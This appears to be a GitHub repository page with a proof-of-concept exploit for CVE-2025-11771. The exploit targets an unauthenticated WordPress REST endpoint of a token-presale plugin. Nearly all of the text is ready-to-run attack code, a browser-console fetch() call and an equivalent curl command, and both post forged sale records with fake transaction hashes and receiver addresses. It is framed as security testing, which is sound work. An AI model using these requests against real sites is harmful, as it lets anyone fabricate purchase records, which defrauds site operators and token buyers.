jfriedli/cve-2025-11771Exploit proof-of-concept per CVE-2025-11771 che dimostra la creazione non autenticata di record di vendita tramite un endpoint dell'API REST di WordPress, con esempi per console del browser e curl per test di sicurezza.
fetch('http://localhost/wordpress/wp-json/tokenico/create-sale-record', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
networkId: "137",
presaleKey: "TESTKEY1234",
createdAt: String(Date.now()),
tokenAmount: "1000",
nativeCurrency: "MATIC",
purchaseAmount: "777",
transactionHash: "evil-" + Date.now(),
transactionUrl: "https://example.org/tx/" + Date.now(),
receiverAddress: "0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef",
receiverAddressUrl: "https://example.org/address/0xdead"
})
}).then(r => r.text()).then(console.log);
curlcurl -s -X POST 'http://localhost/wordpress/wp-json/tokenico/create-sale-record' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'networkId=137&presaleKey=TESTKEY1234&createdAt=1724246400000&tokenAmount=1000&nativeCurrency=MATIC&purchaseAmount=777&transactionHash=evil-1724246400000&transactionUrl=https://example.org/tx/evil-1724246400000&receiverAddress=0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef&receiverAddressUrl=https://example.org/address/0xdead'